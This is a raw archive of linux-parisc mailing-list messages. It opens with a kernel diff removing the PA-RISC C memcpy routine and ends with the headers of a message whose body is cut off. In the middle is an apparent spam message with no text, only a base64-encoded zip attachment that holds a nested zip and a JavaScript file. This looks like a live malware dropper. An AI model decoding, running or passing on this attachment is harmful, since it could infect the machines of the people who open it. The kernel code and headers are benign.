- * I chose to implement this in C because it is easier to maintain and debug,
- * and in my experiments it appears that the C code generated by gcc (3.3/3.4
- * at the time of writing) is fairly optimal. Unfortunately some of the 
- * semantics of the copy routine (exception handling) is difficult to express
- * in C, so we have to play some tricks to get it to work.
- *
- * All the loads and stores are done via explicit asm() code in order to use
- * the right space registers. 
- * 
- * Testing with various alignments and buffer sizes shows that this code is 
- * often >10x faster than a simple byte-at-a-time copy, even for strangely
- * aligned operands. It is interesting to note that the glibc version
- * of memcpy (written in C) is actually quite fast already. This routine is 
- * able to beat it by 30-40% for aligned copies because of the loop unrolling, 
- * but in some cases the glibc version is still slightly faster. This lends 
- * more credibility that gcc can generate very good code as long as we are 
- * careful.
- *
- * TODO:
- * - cache prefetching needs more experimentation to get optimal settings
- * - try not to use the post-increment address modifiers; they create additional
- *   interlocks
- * - replace byte-copy loops with stybs sequences
  */
 
-#ifdef __KERNEL__
 #include <linux/module.h>
 #include <linux/compiler.h>
 #include <linux/uaccess.h>
-#define s_space "%%sr1"
-#define d_space "%%sr2"
-#else
-#include "memcpy.h"
-#define s_space "%%sr0"
-#define d_space "%%sr0"
-#define pa_memcpy new2_copy
-#endif
 
 DECLARE_PER_CPU(struct exception_data, exception_data);
 
-#define preserve_branch(label)	do {					\
-	volatile int dummy = 0;						\
-	/* The following branch is never taken, it's just here to  */	\
-	/* prevent gcc from optimizing away our exception code. */ 	\
-	if (unlikely(dummy != dummy))					\
-		goto label;						\
-} while (0)
-
 #define get_user_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))
 #define get_kernel_space() (0)
 
-#define MERGE(w0, sh_1, w1, sh_2)  ({					\
-	unsigned int _r;						\
-	asm volatile (							\
-	"mtsar %3\n"							\
-	"shrpw %1, %2, %%sar, %0\n"					\
-	: "=r"(_r)							\
-	: "r"(w0), "r"(w1), "r"(sh_2)					\
-	);								\
-	_r;								\
-})
-#define THRESHOLD	16
-
-#ifdef DEBUG_MEMCPY
-#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __func__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
-#else
-#define DPRINTF(fmt, args...)
-#endif
-
-#define def_load_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: _tt(_t), "+r"(_a)				\
-	: 						\
-	: "r8")
-
-#define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma %1, " #_sz "(" _s ",%0)\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: "+r"(_a) 					\
-	: _tt(_t)					\
-	: "r8")
-
-#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,"=r",_s,_a,_t,_e)
-#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,"r",_s,_a,_t,_e)
-#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,"=r",_s,_a,_t,_e)
-#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,"r",_s,_a,_t,_e)
-#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=f",_s,_a,_t,_e)
-#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"f",_s,_a,_t,_e)
-
-#define def_load_insn(_insn,_tt,_s,_o,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " " #_o "(" _s ",%1), %0\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: _tt(_t) 					\
-	: "r"(_a)					\
-	: "r8")
-
-#define def_store_insn(_insn,_tt,_s,_t,_o,_a,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " %0, " #_o "(" _s ",%1)\n\t" 	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: 						\
-	: _tt(_t), "r"(_a)				\
-	: "r8")
-
-#define ldw(_s,_o,_a,_t,_e)	def_load_insn(ldw,"=r",_s,_o,_a,_t,_e)
-#define stw(_s,_t,_o,_a,_e) 	def_store_insn(stw,"r",_s,_t,_o,_a,_e)
-
-#ifdef  CONFIG_PREFETCH
-static inline void prefetch_src(const void *addr)
-{
-	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
-}
-
-static inline void prefetch_dst(const void *addr)
-{
-	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
-}
-#else
-#define prefetch_src(addr) do { } while(0)
-#define prefetch_dst(addr) do { } while(0)
-#endif
-
-#define PA_MEMCPY_OK		0
-#define PA_MEMCPY_LOAD_ERROR	1
-#define PA_MEMCPY_STORE_ERROR	2
-
-/* Copy from a not-aligned src to an aligned dst, using shifts. Handles 4 words
- * per loop.  This code is derived from glibc. 
- */
-static noinline unsigned long copy_dstaligned(unsigned long dst,
-					unsigned long src, unsigned long len)
-{
-	/* gcc complains that a2 and a3 may be uninitialized, but actually
-	 * they cannot be.  Initialize a2/a3 to shut gcc up.
-	 */
-	register unsigned int a0, a1, a2 = 0, a3 = 0;
-	int sh_1, sh_2;
-
-	/* prefetch_src((const void *)src); */
-
-	/* Calculate how to shift a word read at the memory operation
-	   aligned srcp to make it aligned for copy.  */
-	sh_1 = 8 * (src % sizeof(unsigned int));
-	sh_2 = 8 * sizeof(unsigned int) - sh_1;
-
-	/* Make src aligned by rounding it down.  */
-	src &= -sizeof(unsigned int);
-
-	switch (len % 4)
-	{
-		case 2:
-			/* a1 = ((unsigned int *) src)[0];
-			   a2 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a1, cda_ldw_exc);
-			ldw(s_space, 4, src, a2, cda_ldw_exc);
-			src -= 1 * sizeof(unsigned int);
-			dst -= 3 * sizeof(unsigned int);
-			len += 2;
-			goto do1;
-		case 3:
-			/* a0 = ((unsigned int *) src)[0];
-			   a1 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a0, cda_ldw_exc);
-			ldw(s_space, 4, src, a1, cda_ldw_exc);
-			src -= 0 * sizeof(unsigned int);
-			dst -= 2 * sizeof(unsigned int);
-			len += 1;
-			goto do2;
-		case 0:
-			if (len == 0)
-				return PA_MEMCPY_OK;
-			/* a3 = ((unsigned int *) src)[0];
-			   a0 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a3, cda_ldw_exc);
-			ldw(s_space, 4, src, a0, cda_ldw_exc);
-			src -=-1 * sizeof(unsigned int);
-			dst -= 1 * sizeof(unsigned int);
-			len += 0;
-			goto do3;
-		case 1:
-			/* a2 = ((unsigned int *) src)[0];
-			   a3 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a2, cda_ldw_exc);
-			ldw(s_space, 4, src, a3, cda_ldw_exc);
-			src -=-2 * sizeof(unsigned int);
-			dst -= 0 * sizeof(unsigned int);
-			len -= 1;
-			if (len == 0)
-				goto do0;
-			goto do4;			/* No-op.  */
-	}
-
-	do
-	{
-		/* prefetch_src((const void *)(src + 4 * sizeof(unsigned int))); */
-do4:
-		/* a0 = ((unsigned int *) src)[0]; */
-		ldw(s_space, 0, src, a0, cda_ldw_exc);
-		/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
-		stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
-do3:
-		/* a1 = ((unsigned int *) src)[1]; */
-		ldw(s_space, 4, src, a1, cda_ldw_exc);
-		/* ((unsigned int *) dst)[1] = MERGE (a3, sh_1, a0, sh_2); */
-		stw(d_space, MERGE (a3, sh_1, a0, sh_2), 4, dst, cda_stw_exc);
-do2:
-		/* a2 = ((unsigned int *) src)[2]; */
-		ldw(s_space, 8, src, a2, cda_ldw_exc);
-		/* ((unsigned int *) dst)[2] = MERGE (a0, sh_1, a1, sh_2); */
-		stw(d_space, MERGE (a0, sh_1, a1, sh_2), 8, dst, cda_stw_exc);
-do1:
-		/* a3 = ((unsigned int *) src)[3]; */
-		ldw(s_space, 12, src, a3, cda_ldw_exc);
-		/* ((unsigned int *) dst)[3] = MERGE (a1, sh_1, a2, sh_2); */
-		stw(d_space, MERGE (a1, sh_1, a2, sh_2), 12, dst, cda_stw_exc);
-
-		src += 4 * sizeof(unsigned int);
-		dst += 4 * sizeof(unsigned int);
-		len -= 4;
-	}
-	while (len != 0);
-
-do0:
-	/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
-	stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
-
-	preserve_branch(handle_load_error);
-	preserve_branch(handle_store_error);
-
-	return PA_MEMCPY_OK;
-
-handle_load_error:
-	__asm__ __volatile__ ("cda_ldw_exc:\n");
-	return PA_MEMCPY_LOAD_ERROR;
-
-handle_store_error:
-	__asm__ __volatile__ ("cda_stw_exc:\n");
-	return PA_MEMCPY_STORE_ERROR;
-}
-
-
-/* Returns PA_MEMCPY_OK, PA_MEMCPY_LOAD_ERROR or PA_MEMCPY_STORE_ERROR.
- * In case of an access fault the faulty address can be read from the per_cpu
- * exception data struct. */
-static noinline unsigned long pa_memcpy_internal(void *dstp, const void *srcp,
-					unsigned long len)
-{
-	register unsigned long src, dst, t1, t2, t3;
-	register unsigned char *pcs, *pcd;
-	register unsigned int *pws, *pwd;
-	register double *pds, *pdd;
-	unsigned long ret;
-
-	src = (unsigned long)srcp;
-	dst = (unsigned long)dstp;
-	pcs = (unsigned char *)srcp;
-	pcd = (unsigned char *)dstp;
-
-	/* prefetch_src((const void *)srcp); */
-
-	if (len < THRESHOLD)
-		goto byte_copy;
-
-	/* Check alignment */
-	t1 = (src ^ dst);
-	if (unlikely(t1 & (sizeof(double)-1)))
-		goto unaligned_copy;
-
-	/* src and dst have same alignment. */
-
-	/* Copy bytes till we are double-aligned. */
-	t2 = src & (sizeof(double) - 1);
-	if (unlikely(t2 != 0)) {
-		t2 = sizeof(double) - t2;
-		while (t2 && len) {
-			/* *pcd++ = *pcs++; */
-			ldbma(s_space, pcs, t3, pmc_load_exc);
-			len--;
-			stbma(d_space, t3, pcd, pmc_store_exc);
-			t2--;
-		}
-	}
-
-	pds = (double *)pcs;
-	pdd = (double *)pcd;
-
-#if 0
-	/* Copy 8 doubles at a time */
-	while (len >= 8*sizeof(double)) {
-		register double r1, r2, r3, r4, r5, r6, r7, r8;
-		/* prefetch_src((char *)pds + L1_CACHE_BYTES); */
-		flddma(s_space, pds, r1, pmc_load_exc);
-		flddma(s_space, pds, r2, pmc_load_exc);
-		flddma(s_space, pds, r3, pmc_load_exc);
-		flddma(s_space, pds, r4, pmc_load_exc);
-		fstdma(d_space, r1, pdd, pmc_store_exc);
-		fstdma(d_space, r2, pdd, pmc_store_exc);
-		fstdma(d_space, r3, pdd, pmc_store_exc);
-		fstdma(d_space, r4, pdd, pmc_store_exc);
-
-#if 0
-		if (L1_CACHE_BYTES <= 32)
-			prefetch_src((char *)pds + L1_CACHE_BYTES);
-#endif
-		flddma(s_space, pds, r5, pmc_load_exc);
-		flddma(s_space, pds, r6, pmc_load_exc);
-		flddma(s_space, pds, r7, pmc_load_exc);
-		flddma(s_space, pds, r8, pmc_load_exc);
-		fstdma(d_space, r5, pdd, pmc_store_exc);
-		fstdma(d_space, r6, pdd, pmc_store_exc);
-		fstdma(d_space, r7, pdd, pmc_store_exc);
-		fstdma(d_space, r8, pdd, pmc_store_exc);
-		len -= 8*sizeof(double);
-	}
-#endif
-
-	pws = (unsigned int *)pds;
-	pwd = (unsigned int *)pdd;
-
-word_copy:
-	while (len >= 8*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
-		/* prefetch_src((char *)pws + L1_CACHE_BYTES); */
-		ldwma(s_space, pws, r1, pmc_load_exc);
-		ldwma(s_space, pws, r2, pmc_load_exc);
-		ldwma(s_space, pws, r3, pmc_load_exc);
-		ldwma(s_space, pws, r4, pmc_load_exc);
-		stwma(d_space, r1, pwd, pmc_store_exc);
-		stwma(d_space, r2, pwd, pmc_store_exc);
-		stwma(d_space, r3, pwd, pmc_store_exc);
-		stwma(d_space, r4, pwd, pmc_store_exc);
-
-		ldwma(s_space, pws, r5, pmc_load_exc);
-		ldwma(s_space, pws, r6, pmc_load_exc);
-		ldwma(s_space, pws, r7, pmc_load_exc);
-		ldwma(s_space, pws, r8, pmc_load_exc);
-		stwma(d_space, r5, pwd, pmc_store_exc);
-		stwma(d_space, r6, pwd, pmc_store_exc);
-		stwma(d_space, r7, pwd, pmc_store_exc);
-		stwma(d_space, r8, pwd, pmc_store_exc);
-		len -= 8*sizeof(unsigned int);
-	}
-
-	while (len >= 4*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4;
-		ldwma(s_space, pws, r1, pmc_load_exc);
-		ldwma(s_space, pws, r2, pmc_load_exc);
-		ldwma(s_space, pws, r3, pmc_load_exc);
-		ldwma(s_space, pws, r4, pmc_load_exc);
-		stwma(d_space, r1, pwd, pmc_store_exc);
-		stwma(d_space, r2, pwd, pmc_store_exc);
-		stwma(d_space, r3, pwd, pmc_store_exc);
-		stwma(d_space, r4, pwd, pmc_store_exc);
-		len -= 4*sizeof(unsigned int);
-	}
-
-	pcs = (unsigned char *)pws;
-	pcd = (unsigned char *)pwd;
-
-byte_copy:
-	while (len) {
-		/* *pcd++ = *pcs++; */
-		ldbma(s_space, pcs, t3, pmc_load_exc);
-		stbma(d_space, t3, pcd, pmc_store_exc);
-		len--;
-	}
-
-	return PA_MEMCPY_OK;
-
-unaligned_copy:
-	/* possibly we are aligned on a word, but not on a double... */
-	if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
-		t2 = src & (sizeof(unsigned int) - 1);
-
-		if (unlikely(t2 != 0)) {
-			t2 = sizeof(unsigned int) - t2;
-			while (t2) {
-				/* *pcd++ = *pcs++; */
-				ldbma(s_space, pcs, t3, pmc_load_exc);
-				stbma(d_space, t3, pcd, pmc_store_exc);
-				len--;
-				t2--;
-			}
-		}
-
-		pws = (unsigned int *)pcs;
-		pwd = (unsigned int *)pcd;
-		goto word_copy;
-	}
-
-	/* Align the destination.  */
-	if (unlikely((dst & (sizeof(unsigned int) - 1)) != 0)) {
-		t2 = sizeof(unsigned int) - (dst & (sizeof(unsigned int) - 1));
-		while (t2) {
-			/* *pcd++ = *pcs++; */
-			ldbma(s_space, pcs, t3, pmc_load_exc);
-			stbma(d_space, t3, pcd, pmc_store_exc);
-			len--;
-			t2--;
-		}
-		dst = (unsigned long)pcd;
-		src = (unsigned long)pcs;
-	}
-
-	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int));
-	if (ret)
-		return ret;
-
-	pcs += (len & -sizeof(unsigned int));
-	pcd += (len & -sizeof(unsigned int));
-	len %= sizeof(unsigned int);
-
-	preserve_branch(handle_load_error);
-	preserve_branch(handle_store_error);
-
-	goto byte_copy;
-
-handle_load_error:
-	__asm__ __volatile__ ("pmc_load_exc:\n");
-	return PA_MEMCPY_LOAD_ERROR;
-
-handle_store_error:
-	__asm__ __volatile__ ("pmc_store_exc:\n");
-	return PA_MEMCPY_STORE_ERROR;
-}
-
-
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
-{
-	unsigned long ret, fault_addr, reference;
-	struct exception_data *d;
-
-	ret = pa_memcpy_internal(dstp, srcp, len);
-	if (likely(ret == PA_MEMCPY_OK))
-		return 0;
-
-	/* if a load or store fault occured we can get the faulty addr */
-	d = this_cpu_ptr(&exception_data);
-	fault_addr = d->fault_addr;
-
-	/* error in load or store? */
-	if (ret == PA_MEMCPY_LOAD_ERROR)
-		reference = (unsigned long) srcp;
-	else
-		reference = (unsigned long) dstp;
+extern unsigned long pa_memcpy(void *dst, const void *src,
+				unsigned long len);
 
-	DPRINTF("pa_memcpy: fault type = %lu, len=%lu fault_addr=%lu ref=%lu\n",
-		ret, len, fault_addr, reference);
-
-	if (fault_addr >= reference)
-		return len - (fault_addr - reference);
-	else
-		return len;
-}
-
-#ifdef __KERNEL__
 unsigned long __copy_to_user(void __user *dst, const void *src,
 			     unsigned long len)
 {
@@ -537,5 +84,3 @@ long probe_kernel_read(void *dst, const void *src, size_t size)
 
 	return __probe_kernel_read(dst, src, size);
 }

From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <askeeta@canadiannorth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: 14770 linux-parisc
Date: Fri, 31 Mar 2017 23:53:52 -0000
Lines: 62
Approved: news@gmane.org
Message-ID: <149100443209.6121.174125631946998510@jupiter.com.br>
Reply-To: <askeeta@canadiannorth.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="8390.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1491004442 10548 195.159.176.226 (31 Mar 2017 23:54:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 31 Mar 2017 23:54:02 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 01:53:58 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cu6Mg-0001UU-5p
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 01:53:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933381AbdCaXyE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 31 Mar 2017 19:54:04 -0400
Original-Received: from 186.193.176.188.jupiter.com.br ([186.193.176.188]:3611 "HELO
        jupiter.com.br" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with SMTP id S933324AbdCaXyD (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 31 Mar 2017 19:54:03 -0400
X-Greylist: delayed 302 seconds by postgrey-1.27 at vger.kernel.org; Fri, 31 Mar 2017 19:53:59 EDT
Content-Disposition: attachment
Importance: High
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27368
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27368>

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
AQABAE8AAAAhDAAAAAA=
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: unshare (CLONE_NEWUTS)
Date: Sat, 1 Apr 2017 12:08:28 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <74D018A3-5DD0-44EB-8D05-CEF787666249@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-28--492883039
X-Trace: blaine.gmane.org 1491062919 14437 195.159.176.226 (1 Apr 2017 16:08:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Apr 2017 16:08:39 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 18:08:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cuLZg-0002Wt-D9
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 18:08:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751717AbdDAQIa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Apr 2017 12:08:30 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:42881 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751482AbdDAQIa (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Apr 2017 12:08:30 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170401160828.GESA20892.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 1 Apr 2017 12:08:28 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by torspm01.bell.net
          with ESMTP
          id <20170401160828.KAHY4115.torspm01.bell.net@[192.168.2.10]>;
          Sat, 1 Apr 2017 12:08:28 -0400
